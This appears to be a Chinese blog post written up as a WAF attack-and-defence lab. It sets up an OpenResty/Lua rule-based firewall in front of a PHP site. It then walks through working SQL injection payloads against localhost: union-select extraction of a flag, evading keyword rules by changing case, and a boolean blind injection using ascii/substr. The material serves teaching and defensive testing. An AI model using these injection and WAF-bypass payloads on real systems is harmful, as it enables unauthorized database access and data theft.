WAF渗透攻防实践(16)

预备知识
WAF:WEB攻击一直是黑客攻击的主流手段,WAF作为网站安全基础设施的标配。Web Application Firewall,Web应用防火墙,通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的产品。  

Nginx:Nginx 是一个高性能的HTTP和反向代理服务器,其特点是占有内存少,并发能力强。 

Lua:Lua是一个小巧的脚本语言,由标准C编写而成,几乎在所有操作系统和平台上都可以编译运行。Lua脚本可以很容易的被C/C++ 代码调用,也可以反过来调用C/C++的函数,这使得Lua在应用程序中可以被广泛应用。 

OpenResty:Nginx开发主要是以C/C++模块的形式进行,整体学习和开发成本偏高。如果有一种简单的语言来实现Web应用的开发,那么Nginx绝对是把瑞士军刀;目前市面上用的非常成熟的扩展是由章亦春将Lua和Nginx粘合的ngx_lua模块,并将Nginx核心、LuaJIT、ngx_lua模块、许多有用的Lua库和常用的第三方Nginx模块组合在一起成为OpenResty。这样开发人员就可以安装OpenResty,使用Lua编写脚本,然后部署到Nginx Web容器中运行。从而非常轻松就能开发出高性能的Web服务。

参考资料

OpenResty官方文档 https://openresty.org/en/

实验目的
1)本实验通过搭建一个包含SQL注入漏洞的网站,在无WAF的情况下模拟进行渗透测试,获得flag(包含英文、符号等不超过15位) 

2) 使用自制的WAF进行防御,读者可以查看、修改规则,使其直观感受基于规则的WAF的工作原理和防御机制。

3) 分析相关防御规则,尝试使用其他方法进行WAF绕过,使读者感受攻防双方的博弈过程。

实验环境
Ubuntu 64bit、IP地址:10.1.1.47

网络拓扑:如下图,Nginx作为前端反向代理,监听80端口,并可使用ngx_lua对流量进行过滤。后端目标web使用Apache作为Web容器,并使用php构建一个简易的Web。 

大致流程:用户访问目标地址,Nginx反向代理接受请求,Ngx_lua模块将流量过滤后,将请求发送给后端web,后端web处理后将结果返回给Nginx,Nginx返回给用户。

说明:事实上,目前流行的云WAF主要也是基于反向代理,通过域名解析将访问流量引入云端进行过滤,之后云端访问众多需要保护的Web站点,并将结果返回给用户。云WAF往往和后端众多受保护的WEB服务身处不同服务器,并且后端服务一般不能直接访问。本实验为了方便读者实验和操作,便将WAF和后端Web放置同一台服务器,并将后端Web的默认端口80修改为8080来实现,请读者知悉。

所用软件:firefox、hackbar插件、python

实验步骤一
首先关闭WAF的防御功能(默认为关闭状态),使用firefox浏览器,对目标web进行查看渗透,获得flag。

1.   实验环境准备

安装firefox

安装配置好openresty,使用ngx_lua模块制作基于规则的WAF,修改nginx配置文件,配置其为后台web进行反向代理

2.   查看、修改WAF配置(文件位置在/usr/local/openresty/nginx/conf/waf/config.lua),关闭防御(默认为关闭状态,此步骤无需进行)

3.   使用firefox进行渗透测试,通过单引号截断sql查询语句:

http://127.0.0.1/index.php?id=1' and 1=1 %23

4.   可以利用and 1=2进行union注入,获取注入结果回显。

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 %23

5.   2的位置可以回显,接下来猜测表名,当from flag的时候可以正常回显:

http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag %23

6.   表名错误的话则查询不到数据:

      http://127.0.0.1/index.php?id=1' and 1=2 union select 1,2 from flag222 %23

7.   列名类似,最终的poc为:http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23

8.   得到flag为:SQLi so easy!

实验步骤二
任务描述:打开WAF的防御功能,使用firefox浏览器对目标web进行渗透尝试


1.   开启WAF防御功能,修改/usr/local/openresty/nginx/conf/waf/config.lua文件,将off修改为on

2.   重新加载nginx,命令为nginx -s reload,使得WAF配置修改生效

3.   使用上述成功的poc进行注入尝试,发现此时的注入攻击已经被WAF拦截

4.查看WAF的过滤规则,文件在/usr/local/openresty/nginx/conf/waf/rule-config/目录下的args.rule文件,打开后文件内容为

5.可以看出上述注入攻击poc,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23 触发了如下图的过滤规则



实验步骤三
任务描述:分析WAF规则,思考如何对上述防御进行绕过


1.   可以发现相关防御规则只是对某些关键词(如select和from、union和select等)联合使用进行规则匹配,如果匹配成功,则进行拦截。

2.   而上述攻击poc触发了相关的union+select的规则,http://127.0.0.1/index.php?id=1' and 1=2 union select 1,flag from flag %23,而且关键词并没有对忽略大小写,因此可以尝试替换关键词的大小写进行绕过:

3.   如果WAF对关键词大小写进行忽略,还可以考虑使用Bool型盲注:

通过substr取出第一位然后用ascii码判断,可以得到第一位的ascii码为102,即’f’,并且没有触发任何WAF规则,成功获得回显。

http://127.0.0.1/index.php?id=1' && Exists(Select flag from flag where ascii(substr(flag,1,1))=102) %23

4.   而如果判断不对,则没有回显。

5.   因此可以通过盲注脚本,根据页面的回显对每一位字符进行猜测,从而也可攻击成功,获得flag。可直接运行python poc.py命令进行盲注。(poc.py位于桌面)

实验截图: 

 

 

 poc.py如下

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jack-yyj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值